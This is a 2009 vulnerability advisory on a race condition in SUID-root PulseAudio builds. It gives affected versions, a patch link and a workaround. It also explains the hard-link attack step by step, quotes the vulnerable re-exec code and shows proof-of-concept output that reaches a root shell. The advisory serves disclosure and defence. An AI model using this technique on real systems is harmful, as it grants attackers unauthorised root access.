PulseAudio local race condition privilege escalation vulnerability

Yorick Koster, June 2009

Abstract

The PulseAudio binary is affected by a local race condition. If the binary is installed as SUID root, it is possible to exploit this vulnerability to gain root privileges. This attack requires that a local attacker can create hard links on the same hard disk partition on which PulseAudio is installed (i.e. /usr/bin and /tmp reside on the same partition).

Tested version

This issue was successfully verified on the following Linux distributions:

- Ubuntu 9.04 running PulseAudio version 0.9.14
- Debian 5.0 running PulseAudio version 0.9.10
- Mandriva Linux 2009 Spring running PulseAudio version 0.9.15

Fix

A patch for PulseAudio was released that addresses this issue. This patch can be obtained from the following location:

http://git.0pointer.de/?p=pulseaudio.git;a=commit;h=84200b423ebfa7e2dad9b1b65f64eac7bf3d2114

As a temporary workaround, remove the SUID bit from the PulseAudio binary.

$ chmod u-s `which pulseaudio`

Introduction

PulseAudio is a sound server for POSIX and Win32 systems. A sound server is basically a proxy for your sound applications. It allows you to do advanced operations on your sound data as it passes between your application and your hardware.

On some systems, the PulseAudio binary is installed SUID root to enable real-time scheduling. If set, the daemon will drop root privileges immediately on startup, however it will retain the CAP_NICE capability (on systems that support it), but only if the calling user is a member of the pulse-rt group. For all other users all capabilities are dropped immediately.

Race condition

If the PulseAudio binary is started on Linux systems, it checks if the LD_BIND_NOW environment variable is set. If this is not the case, PulseAudio will set the variable and it will reload itself. It tries to determine its path name by looking at the /proc/self/exe symbolic link. This symbolic link will point to the full path name of the current process.

int main(int argc, char *argv[]) {

[...]

#if defined(__linux__) && defined(__OPTIMIZE__)

   /*

      Disable lazy relocations to make usage of external libraries

      more deterministic for our RT threads. We abuse __OPTIMIZE__ as

      a check whether we are a debug build or not.

   */

   

   if (!getenv("LD_BIND_NOW")) {

      char *rp;

   

      /* We have to execute ourselves, because the libc caches the

      * value of $LD_BIND_NOW on initialization. */

   

      pa_set_env("LD_BIND_NOW", "1");

      pa_assert_se(rp = pa_readlink("/proc/self/exe"));

      pa_assert_se(execv(rp, argv) == 0);

   }

#endif

Normally, /proc/self/exe will point to something like /usr/bin/pulseaudio. However by using hard links, it is possible to cause /proc/self/exe to point to a different location.

$ cd /tmp

$ ls -la /proc/self/exe

lrwxrwxrwx 1 yorick yorick 0 2009-06-09 16:31 /proc/self/exe -> /bin/ls

$ ln `which ls` ls

$ ./ls -la /proc/self/exe

lrwxrwxrwx 1 yorick yorick 0 2009-06-09 16:31 /proc/self/exe -> /tmp/ls

In addition, if a hard link is created, the SUID bit is preserved.

$ ln `which pulseaudio` pulseaudio

$ ls -la pulseaudio 

-rwsr-xr-x 2 root root 71616 2009-04-09 02:12 pulseaudio

A race condition exists in the reload mechanism of PulseAudio. An attacker can exploit this issue by creating a hard link pointing to the PulseAudio binary. After this it can execute this binary through the hard link. At this moment /proc/sef/exe will point to the hard link. Before PulseAudio is restarted, the attacker can replace the hard link with a different (executable) file or (symbolic) link. If PulseAudio is restarted, it will use a path name that at this moment points to a different file, for example a command shell. Root privileges are not dropped when PulseAudio is reloading, thus allowing a local attacker to gain root privileges.

Please note, this attack is only possible if the attacker can create hard links on the same hard disk partition on which PulseAudio is installed (i.e. /usr/bin and /tmp reside on the same partition).

Proof of concept

The proof of concept below can be used to exploit this issue. The proof of concept tries to exploit this issue by creating hard links in the /tmp directory.

$ ./pa_race

I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.

I: caps.c: Dropping root privileges.

I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.

N: main.c: Called SUID root and real-time and/or high-priority scheduling was requested in the configuration. However, we lack the necessary privileges:

N: main.c: We are not in group 'pulse-rt', PolicyKit refuse to grant us the requested privileges and we have no increase RLIMIT_NICE/RLIMIT_RTPRIO resource limits.

N: main.c: For enabling real-time/high-priority scheduling please acquire the appropriate PolicyKit privileges, or become a member of 'pulse-rt', or increase the RLIMIT_NICE/RLIMIT_RTPRIO resource limits for this user.

E: pid.c: Daemon already running.

E: main.c: pa_pid_file_create() failed.

[...]

uid=0(root) gid=0(root) groups=4(adm), 20(dialout), 24(cdrom), 25(floppy), 29(audio), 30(dip), 44(video), 46(plugdev), 107(fuse), 109(lpadmin), 115(admin), 1000(yorick)

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